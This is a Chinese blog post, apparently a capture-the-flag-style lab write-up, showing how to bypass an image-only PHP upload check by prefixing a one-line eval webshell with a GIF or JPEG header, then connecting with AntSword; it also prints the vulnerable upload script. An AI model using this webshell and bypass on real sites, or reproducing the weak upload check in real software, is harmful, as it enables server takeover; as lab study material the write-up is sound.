首页 > Web开发 > 详细

php一句话图片马上传绕过

时间:2021-06-28 19:36:43      阅读:51      评论:0      收藏:0      [点我收藏+]

主页

技术分享图片

  

burpsuite截获,修改后缀为php,末尾加上一句话马(内容开头一定要是图片文件标志头),上传成功并返回路径

<?php @eval($_POST[‘c‘]);?>

技术分享图片

  

其他测试:

1、删掉部分图片内容时(图片文件头不对),无法上传 

技术分享图片

  

2、可以修改图片文件头为gif文件的标志头:GIF87a或者GIF89a,都可以成功上传

技术分享图片

 

3、冰蝎不支持,不知道为什么,是不是不支持图片马?

技术分享图片

 

 

 前面的图片马可打开浏览,但无法连接jpg格式马

技术分享图片技术分享图片

 

 使用蚁剑连接,密码就是c,测试连接成功

技术分享图片

 

找源代码文件

技术分享图片

  

顺便看看上传模块源码

<?php
//文件上传漏洞演示脚本之内容验证
header("Content-type: text/html; charset=utf-8"); 
error_reporting(0);
$uploaddir = ‘uploads/‘;
if (isset($_POST[‘submit‘])) {
    if (file_exists($uploaddir)) {
        //print_r($_FILES);
        $file_name = $_FILES[‘upfile‘][‘tmp_name‘];
        //print_r(getimagesize($file_name));
        $allow_ext = array(‘image/png‘, ‘image/gif‘, ‘image/jpeg‘, ‘image/bmp‘);
        $img_arr = getimagesize($file_name);
        //print_r($img_arr);
        $file_ext = $img_arr[‘mime‘];
        if (in_array($file_ext, $allow_ext)) {
            if (move_uploaded_file($_FILES[‘upfile‘][‘tmp_name‘], $uploaddir . ‘/‘ . $_FILES[‘upfile‘][‘name‘])) {
                echo ‘文件上传成功,保存于:‘ . $uploaddir . $_FILES[‘upfile‘][‘name‘] . "\n";
            }
        } else {
            echo ‘此文件不允许上传‘ . "\n";
        }
    } else {
        exit($uploaddir . ‘文件夹不存在,请手工创建!‘);
    }
    //print_r($_FILES);
}
?>

从源码上分析看,如果上传文件的mime类型file_ext在allow_ext(

‘image/png‘, ‘image/gif‘, ‘image/jpeg‘, ‘image/bmp‘

)中,就移动上传文件到/uploads/文件夹下

 

技术分享图片

  

参考:

WebShell文件上传漏洞分析溯源(第3题)_文件上传_在线靶场_墨者学院_专注于网络安全人才培养 

php一句话图片马上传绕过

原文:https://www.cnblogs.com/jasy/p/14944225.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!